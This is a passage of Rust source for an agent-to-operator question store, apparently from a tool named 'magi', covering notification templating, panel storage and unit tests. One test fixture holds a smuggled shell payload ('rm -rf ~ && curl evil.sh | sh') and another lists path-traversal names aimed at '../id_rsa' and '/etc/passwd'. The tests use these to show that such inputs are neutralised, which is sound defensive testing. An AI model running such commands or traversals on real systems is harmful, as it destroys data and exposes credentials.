1757    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1758        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1759        Err(_) => bail!(
1760            "notification command `{program}` did not finish within {}s",
1761            NOTIFY_TIMEOUT.as_secs()
1762        ),
1763    };
1764    if !out.status.success() {
1765        let stderr = String::from_utf8_lossy(&out.stderr);
1766        let why = stderr
1767            .lines()
1768            .rev()
1769            .find(|l| !l.trim().is_empty())
1770            .unwrap_or("no output on stderr")
1771            .trim();
1772        bail!(
1773            "notification command `{program}` exited with {}: {why}",
1774            out.status
1775        );
1776    }
1777    Ok(())
1778}
1779
1780/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
1781///
1782/// One left-to-right pass, so a substituted value is never scanned for further
1783/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
1784/// in a question must not make the notification recursive.
1785fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1786    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1787    let mut out = String::with_capacity(template.len());
1788    let mut rest = template;
1789    while let Some(at) = rest.find('{') {
1790        out.push_str(&rest[..at]);
1791        let tail = &rest[at..];
1792        match table.iter().find(|(token, _)| tail.starts_with(token)) {
1793            Some((token, value)) => {
1794                out.push_str(value);
1795                rest = &tail[token.len()..];
1796            }
1797            None => {
1798                // Not a placeholder magi knows: it is the operator's own text.
1799                out.push('{');
1800                rest = &tail[1..];
1801            }
1802        }
1803    }
1804    out.push_str(rest);
1805    out
1806}
1807
1808/// The URL `{url}` expands to, from [`WEB_URL_ENV`].
1809fn web_url() -> String {
1810    question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1811}
1812
1813/// Point a configured base URL at the view that can answer the question.
1814///
1815/// A notification the operator has to navigate from is a question that stays
1816/// unanswered until morning, so the questions view is appended - unless the
1817/// operator already wrote a fragment, in which case they have said where they
1818/// want to land and magi does not know better.
1819fn question_url(base: &str) -> String {
1820    let base = base.trim().trim_end_matches('/');
1821    if base.is_empty() || base.contains('#') {
1822        return base.to_owned();
1823    }
1824    format!("{base}/#/questions")
1825}
1826
1827/// Assemble a panel's contents in an already-empty directory.
1828///
1829/// Split out so [`Questions::put_panel`] can delete the whole directory on the
1830/// first error without an early `return` skipping that cleanup.
1831fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1832    let index = dir.join(PANEL_HTML);
1833    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1834    for (name, src) in assets {
1835        let dst = dir.join(name);
1836        std::fs::copy(src, &dst)
1837            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1838    }
1839    Ok(())
1840}
1841
1842/// Remove a directory and everything under it, treating "not there" as done.
1843///
1844/// A panel is replaced wholesale and dropped idempotently, and in both cases
1845/// the absence of the directory is the desired end state, not an error.
1846fn clear_dir(path: &Path) -> Result<()> {
1847    match std::fs::remove_dir_all(path) {
1848        Ok(()) => Ok(()),
1849        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1850        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1851    }
1852}
1853
1854fn read_path(path: &Path) -> Result<Question> {
1855    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1856    let q: Question =
1857        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1858    if q.schema > SCHEMA {
1859        // Strictly newer, not merely different: every field added since
1860        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
1861        // here as "no thread yet" rather than as garbage. Only a schema this
1862        // build has never heard of is refused.
1863        bail!(
1864            "question {} was written by a newer magi (schema {}, this build \
1865             only speaks up to {SCHEMA})",
1866            q.id,
1867            q.schema
1868        );
1869    }
1870    Ok(q)
1871}
1872
1873/// [`short`] for callers outside this module (a run id shortens the same way).
1874pub fn short_id(id: &str) -> &str {
1875    short(id)
1876}
1877
1878fn short(id: &str) -> &str {
1879    id.split('-').next_back().unwrap_or(id)
1880}
1881
1882fn new_id() -> String {
1883    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1884    let seed = crate::rng::entropy();
1885    format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1886}
1887
1888#[cfg(test)]
1889mod tests {
1890    use super::*;
1891
1892    /// A store of its own, with no process-global state - which is the point of
1893    /// `Questions::at`, and why these can run in parallel.
1894    fn store() -> (tempfile::TempDir, Questions) {
1895        let dir = tempfile::tempdir().unwrap();
1896        let s = Questions::at(dir.path().join("questions"));
1897        (dir, s)
1898    }
1899
1900    #[test]
1901    fn run_names_task_only_for_task_questions() {
1902        for (node, want) in [
1903            (crate::conduct::NODE, true),
1904            (crate::triage::NODE, true),
1905            (crate::triage::DEPS_NODE, true),
1906            (crate::land::APPROVAL_NODE, false),
1907            (crate::bump::NOTICE_NODE, false),
1908            ("implement", false),
1909        ] {
1910            let mut q = choice_question();
1911            q.node = node.to_owned();
1912            assert_eq!(q.run_names_task(), want, "{node}");
1913        }
1914    }
1915
1916    #[test]
1917    fn deleting_a_run_stops_its_questions_asking() {
1918        let (_dir, store) = store();
1919
1920        let mut open_one = choice_question();
1921        store.put(&mut open_one).unwrap();
1922        let mut answered = free_question();
1923        answered
1924            .answer(Answer::Text("keep this".to_owned()))
1925            .unwrap();
1926        store.put(&mut answered).unwrap();
1927        let mut elsewhere = choice_question();
1928        elsewhere.run = "20260903-105039-3cbf".to_owned();
1929        store.put(&mut elsewhere).unwrap();
1930
1931        let n = store
1932            .abandon_for_run(&open_one.run, "run was deleted")
1933            .unwrap();
1934        assert_eq!(n, 1, "only the open question of that run");
1935
1936        let back = store.get(&open_one.id).unwrap();
1937        assert!(!back.status.open(), "it no longer asks for a decision");
1938        assert!(
1939            back.detail.contains("run was deleted"),
1940            "the operator can see why: {}",
1941            back.detail
1942        );
1943
1944        let kept = store.get(&answered.id).unwrap();
1945        assert_eq!(
1946            kept.status,
1947            QuestionStatus::Answered,
1948            "an answered question is a decision on record, not something to revoke"
1949        );
1950        assert!(
1951            store.get(&elsewhere.id).unwrap().status.open(),
1952            "another run's question is untouched"
1953        );
1954        assert!(store.open_for(&open_one.run).is_empty());
1955    }
1956
1957    #[test]
1958    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
1959        let (_dir, store) = store();
1960        let mut q = choice_question();
1961        store.put(&mut q).unwrap();
1962
1963        // `Blocked` can still be resumed - leave it exactly as it was.
1964        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
1965        assert_eq!(n, 0);
1966        assert!(store.get(&q.id).unwrap().status.open());
1967
1968        // `Failed` is not - abandon it, with the run and its fate in the
1969        // reason so the owner can tell what happened without a run to read.
1970        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
1971        assert_eq!(n, 1);
1972        let back = store.get(&q.id).unwrap();
1973        assert!(!back.status.open());
1974        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
1975
1976        // A second call against the same, now-settled run finds nothing left.
1977        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
1978    }
1979
1980    fn choice_question() -> Question {
1981        Question::new(
1982            "20260902-201256-9fb7".to_owned(),
1983            "implement".to_owned(),
1984            "impl-A".to_owned(),
1985            "Which storage backend should the cache use?".to_owned(),
1986            "Both are already dependencies.".to_owned(),
1987            vec!["SQLite".to_owned(), "Redis".to_owned()],
1988        )
1989    }
1990
1991    fn free_question() -> Question {
1992        Question::new(
1993            "20260902-201256-9fb7".to_owned(),
1994            "review".to_owned(),
1995            "rev-1".to_owned(),
1996            "What should the error message say?".to_owned(),
1997            String::new(),
1998            Vec::new(),
1999        )
2000    }
2001
2002    /// No notification, which is the default and what most of these want.
2003    fn quiet() -> config::Notify {
2004        config::Notify::default()
2005    }
2006
2007    #[test]
2008    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2009        // The front end parses these names by hand; there is no shared schema
2010        // and no compiler between the two. A rename here is a UI that shows an
2011        // empty card and reports no error, so the names are asserted literally.
2012        let mut q = choice_question();
2013        q.id = "20260902-231501-ab12".to_owned();
2014        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2015        // `serde_json::Value` holds an object's keys sorted, and key order
2016        // means nothing to a JSON reader anyway: the field *set* is what the
2017        // front end was written against, so that is what is pinned here.
2018        let keys: Vec<&str> = open
2019            .as_object()
2020            .unwrap()
2021            .keys()
2022            .map(String::as_str)
2023            .collect();
2024        assert_eq!(
2025            keys,
2026            [
2027                "actions",
2028                "answer",
2029                "answer_delivered",
2030                "answer_timeout",
2031                "answered_at",
2032                "asked_at",
2033                "assets",
2034                "choices",
2035                "cwd",
2036                "delivered_turns",
2037                "deputy",
2038                "detail",
2039                "id",
2040                "node",
2041                "panel",
2042                "run",
2043                "schema",
2044                "seat",
2045                "status",
2046                "summary",
2047                "thread",
2048                "waiter",
2049            ],
2050            "the on-disk field set is a contract with the front end"
2051        );
2052        assert_eq!(open["schema"], 5);
2053        assert_eq!(open["thread"], serde_json::json!([]));
2054        assert_eq!(open["id"], "20260902-231501-ab12");
2055        assert_eq!(open["run"], "20260902-201256-9fb7");
2056        assert_eq!(open["node"], "implement");
2057        assert_eq!(open["seat"], "impl-A");
2058        assert_eq!(open["status"], "open");
2059        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2060        assert_eq!(open["answered_at"], serde_json::Value::Null);
2061        assert_eq!(open["answer"], serde_json::Value::Null);
2062        let asked = open["asked_at"].as_str().unwrap();
2063        assert!(
2064            asked.ends_with('Z') && asked.contains('T'),
2065            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2066        );
2067
2068        // A chosen option, exactly as the contract spells it.
2069        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2070        let answered = serde_json::to_value(&q).unwrap();
2071        assert_eq!(answered["status"], "answered");
2072        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2073        assert!(answered["answered_at"].is_string());
2074
2075        // And free text, which is the other of the two forms.
2076        let mut free = free_question();
2077        free.answer(Answer::Text("Say which file it was".to_owned()))
2078            .unwrap();
2079        assert_eq!(
2080            serde_json::to_value(&free).unwrap()["answer"],
2081            serde_json::json!({"text": "Say which file it was"})
2082        );
2083
2084        // And it survives the round trip a reader actually performs.
2085        let body = serde_json::to_string(&q).unwrap();
2086        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2087    }
2088
2089    #[test]
2090    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2091        // Four different mistakes, four different fixes: the web handler shows
2092        // these strings to the person who made them.
2093        let mut unoffered = choice_question();
2094        let a = unoffered
2095            .answer(Answer::Choice("Postgres".to_owned()))
2096            .unwrap_err()
2097            .to_string();
2098
2099        let mut typed = choice_question();
2100        let b = typed
2101            .answer(Answer::Text("use Postgres".to_owned()))
2102            .unwrap_err()
2103            .to_string();
2104
2105        let mut blank = free_question();
2106        let c = blank
2107            .answer(Answer::Text("   \n".to_owned()))
2108            .unwrap_err()
2109            .to_string();
2110
2111        let mut twice = choice_question();
2112        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2113        let d = twice
2114            .answer(Answer::Choice("Redis".to_owned()))
2115            .unwrap_err()
2116            .to_string();
2117
2118        assert!(a.contains("not one of the choices"), "{a}");
2119        assert!(b.contains("multiple choice"), "{b}");
2120        assert!(c.contains("empty"), "{c}");
2121        assert!(d.contains("already answered"), "{d}");
2122        let mut distinct = vec![a, b, c, d];
2123        let asked = distinct.len();
2124        distinct.sort_unstable();
2125        distinct.dedup();
2126        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2127
2128        // The refused ones are still open, so the owner can answer properly.
2129        assert_eq!(unoffered.status, QuestionStatus::Open);
2130        assert_eq!(typed.status, QuestionStatus::Open);
2131        assert_eq!(blank.status, QuestionStatus::Open);
2132        // And the first answer to the double-answered one survived.
2133        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2134
2135        // Free text refuses a fabricated choice for the mirror-image reason.
2136        let mut free = free_question();
2137        let e = free
2138            .answer(Answer::Choice("SQLite".to_owned()))
2139            .unwrap_err()
2140            .to_string();
2141        assert!(e.contains("free text"), "{e}");
2142    }
2143
2144    #[test]
2145    fn open_questions_are_listed_before_answered_ones() {
2146        let (_dir, s) = store();
2147        // Ids carry a timestamp, so force a known order: the answered one is
2148        // the newest, and must still sort below the open ones.
2149        let mut old_open = choice_question();
2150        old_open.id = "20260101-000001-aaaa".to_owned();
2151        let mut new_open = choice_question();
2152        new_open.id = "20260101-000002-bbbb".to_owned();
2153        let mut answered = choice_question();
2154        answered.id = "20260101-000003-cccc".to_owned();
2155        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2156        for q in [&mut old_open, &mut new_open, &mut answered] {
2157            s.put(q).unwrap();
2158        }
2159
2160        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2161        assert_eq!(
2162            ids,
2163            [
2164                "20260101-000002-bbbb",
2165                "20260101-000001-aaaa",
2166                "20260101-000003-cccc"
2167            ],
2168            "what has stopped work comes first; history sorts underneath"
2169        );
2170        assert_eq!(s.count_open(), 2);
2171        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2172        assert!(s.open_for("some-other-run").is_empty());
2173        // The short id is what the phone and the reports show.
2174        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2175        assert!(s.get("20260101-000002-bbbb").is_ok());
2176        assert!(s.resolve_id("nope").is_err());
2177        assert!(
2178            s.revision() > 0,
2179            "the store's mtime drives the phone's polling"
2180        );
2181    }
2182
2183    #[test]
2184    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2185        let (_dir, s) = store();
2186        let mut good = choice_question();
2187        s.put(&mut good).unwrap();
2188        // Truncated by a killed writer, and written by a magi from the future.
2189        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2190        let future = serde_json::json!({
2191            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2192            "seat": "s", "summary": "?", "detail": "", "choices": [],
2193            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2194            "answered_at": null, "answer": null,
2195        });
2196        std::fs::write(
2197            s.path_of("20260101-000010-beef"),
2198            serde_json::to_string(&future).unwrap(),
2199        )
2200        .unwrap();
2201
2202        let listed = s.list();
2203        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2204        assert_eq!(listed[0].id, good.id);
2205        // Asked for by name, the unreadable one explains itself instead.
2206        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2207        assert!(e.contains("schema"), "{e}");
2208    }
2209
2210    #[tokio::test]
2211    async fn the_wait_returns_the_answer_another_process_wrote() {
2212        // The phone, `magi answer` and this run are three processes with no
2213        // channel between them: the file is the channel, so the wait has to see
2214        // a write it did not make. Sub-second timings keep this a real wait
2215        // without a real one's duration.
2216        let (dir, s) = store();
2217        let mut q = choice_question();
2218        let id = q.id.clone();
2219        let writer = Questions::at(dir.path().join("questions"));
2220        let handle = tokio::spawn(async move {
2221            tokio::time::sleep(Duration::from_millis(30)).await;
2222            let mut fresh = writer.get(&id).expect("the question was filed first");
2223            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2224            writer.put(&mut fresh).unwrap();
2225        });
2226
2227        let got = wait_for_owner(
2228            &mut q,
2229            &s,
2230            &quiet(),
2231            Duration::from_secs(5),
2232            Duration::from_millis(10),
2233        )
2234        .await
2235        .unwrap();
2236
2237        handle.await.unwrap();
2238        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2239        assert_eq!(
2240            q.status,
2241            QuestionStatus::Answered,
2242            "the caller's copy is refreshed from the answering process's record"
2243        );
2244        assert!(q.answered_at.is_some());
2245    }
2246
2247    #[tokio::test]
2248    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2249        let (_dir, s) = store();
2250        let mut q = choice_question();
2251
2252        let got = wait_for_owner(
2253            &mut q,
2254            &s,
2255            &quiet(),
2256            Duration::from_millis(60),
2257            Duration::from_millis(10),
2258        )
2259        .await
2260        .unwrap();
2261
2262        assert_eq!(
2263            got,
2264            Wait::Abandoned,
2265            "a slow human is not an error; the run parks"
2266        );
2267        assert_eq!(q.status, QuestionStatus::Abandoned);
2268        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2269        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2270        assert!(
2271            on_disk.detail.contains("Abandoned:"),
2272            "why nobody answered belongs with the question: {}",
2273            on_disk.detail
2274        );
2275        assert!(on_disk.resolution().is_none());
2276        assert_eq!(s.count_open(), 0);
2277    }
2278
2279    #[tokio::test]
2280    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2281        // This is the whole point of slicing: `timeout` (the real
2282        // `answer_timeout` budget) is far larger than `slice`, so the loop
2283        // must land on `slice` first and hand back `Pending` - not read the
2284        // silence so far as the owner having given up.
2285        let (_dir, s) = store();
2286        let mut q = choice_question();
2287        s.put(&mut q).unwrap();
2288
2289        let got = wait_loop(
2290            &mut q,
2291            &s,
2292            Duration::from_secs(3600),
2293            Duration::from_millis(30),
2294            Duration::from_millis(10),
2295        )
2296        .await
2297        .unwrap();
2298
2299        assert_eq!(
2300            got,
2301            Wait::Pending,
2302            "the clock on this call ran out, not the owner's patience"
2303        );
2304        assert_eq!(
2305            q.status,
2306            QuestionStatus::Open,
2307            "a slice expiring must never abandon the question"
2308        );
2309        let on_disk = s.get(&q.id).expect("still on disk, still open");
2310        assert_eq!(
2311            on_disk.status,
2312            QuestionStatus::Open,
2313            "nothing about the record changed just because this call gave up"
2314        );
2315    }
2316
2317    #[tokio::test]
2318    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2319        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2320        // and returns `Pending`, a second slice - a fresh call, exactly as a
2321        // fresh process would make - picks the same question back up and
2322        // sees an answer written in between.
2323        let (dir, s) = store();
2324        let mut q = choice_question();
2325        s.put(&mut q).unwrap();
2326
2327        let first = wait_loop(
2328            &mut q,
2329            &s,
2330            Duration::from_secs(3600),
2331            Duration::from_millis(30),
2332            Duration::from_millis(10),
2333        )
2334        .await
2335        .unwrap();
2336        assert_eq!(first, Wait::Pending);
2337
2338        let id = q.id.clone();
2339        let writer = Questions::at(dir.path().join("questions"));
2340        let mut fresh = writer.get(&id).unwrap();
2341        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2342        writer.put(&mut fresh).unwrap();
2343
2344        // `resume_wait` uses its own production poll interval rather than a
2345        // test-injected one, so the budget here only needs to be large enough
2346        // to cover one real poll tick - the point is that it is `resume_wait`
2347        // itself, not a helper, that finds the answer.
2348        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2349            .await
2350            .unwrap();
2351        assert_eq!(second, Wait::Answered("Redis".to_owned()));
2352        assert_eq!(q.status, QuestionStatus::Answered);
2353    }
2354
2355    #[tokio::test]
2356    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2357        // The owner can speak back while nothing is running at all - between
2358        // one call reporting `Wait::Pending` and the next `--wait` picking
2359        // the question back up - and whoever resumes the wait loads a
2360        // *fresh* copy of the question off disk, one whose thread already
2361        // contains that reply. A baseline taken from that fresh copy would
2362        // treat the reply as pre-existing and never notice it "arrive",
2363        // leaving the agent polling in silence until `answer_timeout`
2364        // eventually abandons the question - replacing the exact accident
2365        // this feature exists to fix with a quieter version of itself.
2366        let (dir, s) = store();
2367        let mut q = choice_question();
2368        s.put(&mut q).unwrap();
2369
2370        let first = wait_loop(
2371            &mut q,
2372            &s,
2373            Duration::from_secs(3600),
2374            Duration::from_millis(30),
2375            Duration::from_millis(10),
2376        )
2377        .await
2378        .unwrap();
2379        assert_eq!(first, Wait::Pending);
2380
2381        // The owner speaks back during the gap, with nobody running yet.
2382        let id = q.id.clone();
2383        let writer = Questions::at(dir.path().join("questions"));
2384        let mut fresh = writer.get(&id).unwrap();
2385        fresh.say("why not Postgres?").unwrap();
2386        writer.put(&mut fresh).unwrap();
2387
2388        // `magi ask --wait` re-reads the question rather than reusing the
2389        // stale in-memory copy the earlier call held - so the copy handed to
2390        // `resume_wait` here already carries the reply, same as `fresh` above.
2391        let mut resumed = s.get(&id).unwrap();
2392        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2393            .await
2394            .unwrap();
2395        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2396        assert_eq!(
2397            resumed.status,
2398            QuestionStatus::Open,
2399            "talking back is not a decision; the question stays open"
2400        );
2401    }
2402
2403    #[tokio::test]
2404    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2405        // A broken webhook must not throw away an implementation, so the wait
2406        // reports the failure and carries on. `notify` itself still says what
2407        // went wrong, because `magi notify --test` has to be able to show it.
2408        let (dir, s) = store();
2409        let broken = config::Notify {
2410            command: vec![
2411                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2412                "{summary}".to_owned(),
2413            ],
2414        };
2415        let mut q = choice_question();
2416        assert!(
2417            notify(&broken, &q).await.is_err(),
2418            "the caller is told; it decides that it does not matter"
2419        );
2420
2421        let id = q.id.clone();
2422        let writer = Questions::at(dir.path().join("questions"));
2423        let handle = tokio::spawn(async move {
2424            tokio::time::sleep(Duration::from_millis(30)).await;
2425            let mut fresh = writer.get(&id).unwrap();
2426            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2427            writer.put(&mut fresh).unwrap();
2428        });
2429        let got = wait_for_owner(
2430            &mut q,
2431            &s,
2432            &broken,
2433            Duration::from_secs(5),
2434            Duration::from_millis(10),
2435        )
2436        .await
2437        .unwrap();
2438        handle.await.unwrap();
2439        assert_eq!(got, Wait::Answered("Redis".to_owned()));
2440
2441        // No command at all is the default, and is silence rather than failure.
2442        assert!(notify(&quiet(), &q).await.is_ok());
2443        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2444    }
2445
2446    #[test]
2447    fn notification_arguments_are_substituted_and_never_a_shell_string() {
2448        let mut q = choice_question();
2449        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2450        let template = [
2451            "ntfy".to_owned(),
2452            "publish".to_owned(),
2453            "--click".to_owned(),
2454            "{url}".to_owned(),
2455            "--title".to_owned(),
2456            "magi {run} needs you".to_owned(),
2457            "{summary}".to_owned(),
2458        ];
2459        let argv: Vec<String> = template
2460            .iter()
2461            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2462            .collect();
2463
2464        assert_eq!(
2465            argv,
2466            [
2467                "ntfy",
2468                "publish",
2469                "--click",
2470                "http://100.64.0.1:7777/#/questions",
2471                "--title",
2472                "magi 20260902-201256-9fb7 needs you",
2473                "; rm -rf ~ && curl evil.sh | sh #",
2474            ],
2475            "the shell metacharacters are one argument's contents, not syntax"
2476        );
2477
2478        // A summary that itself mentions a placeholder is text, not a template:
2479        // one left-to-right pass means a substituted value is never rescanned.
2480        q.summary = "should {url} be configurable?".to_owned();
2481        assert_eq!(
2482            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2483            "should {url} be configurable?"
2484        );
2485        // An unknown brace is the operator's own text and survives untouched.
2486        assert_eq!(
2487            expand("{title}: {run}", &q.run, &q.summary, ""),
2488            "{title}: 20260902-201256-9fb7"
2489        );
2490        assert_eq!(
2491            expand("no placeholders", &q.run, &q.summary, "http://x"),
2492            "no placeholders"
2493        );
2494    }
2495
2496    #[test]
2497    fn the_notification_link_lands_on_the_view_that_can_answer() {
2498        assert_eq!(
2499            question_url("http://100.64.0.1:7777"),
2500            "http://100.64.0.1:7777/#/questions"
2501        );
2502        assert_eq!(
2503            question_url("http://100.64.0.1:7777/"),
2504            "http://100.64.0.1:7777/#/questions"
2505        );
2506        // An operator who wrote a fragment has said where they want to land.
2507        assert_eq!(
2508            question_url("http://magi.ts.net/#/runs"),
2509            "http://magi.ts.net/#/runs"
2510        );
2511        // Unset expands to nothing rather than to a guessed address.
2512        assert_eq!(question_url("  "), "");
2513    }
2514
2515    /// A question with a fixed id, so a panel's path on disk is predictable.
2516    fn panelled() -> Question {
2517        let mut q = choice_question();
2518        q.id = "20260903-014455-ab12".to_owned();
2519        q
2520    }
2521
2522    #[test]
2523    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2524        let (dir, s) = store();
2525        let work = dir.path().join("worktree");
2526        std::fs::create_dir_all(&work).unwrap();
2527        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2528        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2529
2530        let mut q = panelled();
2531        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2532        s.put_panel(
2533            &mut q,
2534            html,
2535            &[work.join("table.png"), work.join("diff.svg")],
2536        )
2537        .unwrap();
2538        s.put(&mut q).unwrap();
2539
2540        assert!(q.panel);
2541        assert_eq!(
2542            q.assets,
2543            ["diff.svg", "table.png"],
2544            "sorted, not in the order the agent happened to pass them"
2545        );
2546        assert_eq!(
2547            s.panel_html(&q.id).as_deref(),
2548            Some(html),
2549            "the html is stored byte for byte; the agent authored the markup"
2550        );
2551        assert_eq!(
2552            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2553            Some(&b"<svg/>"[..])
2554        );
2555
2556        // The record on disk carries the same two fields the front end reads.
2557        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2558        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2559        assert_eq!(json["panel"], true);
2560        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2561        let back = s.get(&q.id).unwrap();
2562        assert!(back.panel);
2563        assert_eq!(back.assets, q.assets);
2564
2565        // The assets were copied, so the panel still renders after `magi fold`
2566        // has deleted the candidate worktree the agent authored it in.
2567        std::fs::remove_dir_all(&work).unwrap();
2568        assert_eq!(
2569            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2570            Some(&b"\x89PNG"[..]),
2571            "a referenced asset would be gone with the worktree"
2572        );
2573    }
2574
2575    #[test]
2576    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2577        let (dir, s) = store();
2578        let mut q = panelled();
2579        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2580        s.put(&mut q).unwrap();
2581
2582        // A file exactly one level up from the panel directory - which is
2583        // where `..` lands - holding content a read would make visible.
2584        let secret = "this must never reach the browser";
2585        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2586        assert_eq!(
2587            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2588            secret,
2589            "the traversal is real: the operating system resolves this path \
2590             happily, which is why the name has to be refused before the join"
2591        );
2592
2593        let long = "x".repeat(200);
2594        for name in [
2595            "..",
2596            "../id_rsa",
2597            "..\\id_rsa",
2598            "sub/../id_rsa",
2599            "/",
2600            "\\",
2601            "/etc/passwd",
2602            "C:\\Windows\\win.ini",
2603            "",
2604            ".hidden",
2605            ".",
2606            long.as_str(),
2607        ] {
2608            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2609            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2610            assert!(
2611                e.contains("not a panel file name"),
2612                "`{name}` must be refused as a name, not attempted: {e}"
2613            );
2614            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2615        }
2616        // A name that is allowed still finds its file, so the refusals above
2617        // were the rule at work and not a store that reads nothing.
2618        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2619
2620        // The same rule on the write side, where the name comes from a source
2621        // file's base name, and a refusal leaves the stored panel untouched.
2622        let hidden = dir.path().join(".hidden");
2623        std::fs::write(&hidden, "x").unwrap();
2624        let e = s
2625            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2626            .unwrap_err()
2627            .to_string();
2628        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2629        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2630        assert!(q.assets.is_empty());
2631    }
2632
2633    #[test]
2634    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2635        let (dir, s) = store();
2636        let mut q = panelled();
2637        s.put(&mut q).unwrap();
2638
2639        // Sized rather than filled: the cap reads the file's length, and a
2640        // test that actually produced eight mebibytes would only be slower.
2641        let big = dir.path().join("recording.png");
2642        std::fs::File::create(&big)
2643            .unwrap()
2644            .set_len(PANEL_MAX_BYTES)
2645            .unwrap();
2646
2647        let html = "<p>see the recording</p>";
2648        let total = PANEL_MAX_BYTES + html.len() as u64;
2649        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2650        assert!(
2651            e.contains(&PANEL_MAX_BYTES.to_string()),
2652            "the cap is named so the agent knows the limit: {e}"
2653        );
2654        assert!(
2655            e.contains(&total.to_string()),
2656            "the actual size is named so the agent knows by how much: {e}"
2657        );
2658
2659        assert!(!q.panel);
2660        assert!(q.assets.is_empty());
2661        let left: Vec<String> = std::fs::read_dir(s.root())
2662            .unwrap()
2663            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2664            .collect();
2665        assert_eq!(
2666            left,
2667            [format!("{}.json", q.id)],
2668            "a refused panel leaves neither a directory nor scratch: {left:?}"
2669        );
2670    }
2671
2672    #[test]
2673    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2674        let (dir, s) = store();
2675        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2676        std::fs::create_dir_all(&before).unwrap();
2677        std::fs::create_dir_all(&after).unwrap();
2678        std::fs::write(before.join("diff.png"), "before").unwrap();
2679        std::fs::write(after.join("diff.png"), "after").unwrap();
2680
